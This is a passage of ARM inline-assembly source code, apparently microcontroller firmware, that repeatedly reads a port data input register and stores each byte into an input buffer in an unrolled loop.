[%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 640\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 32\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 48\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 192\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 768\n\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], 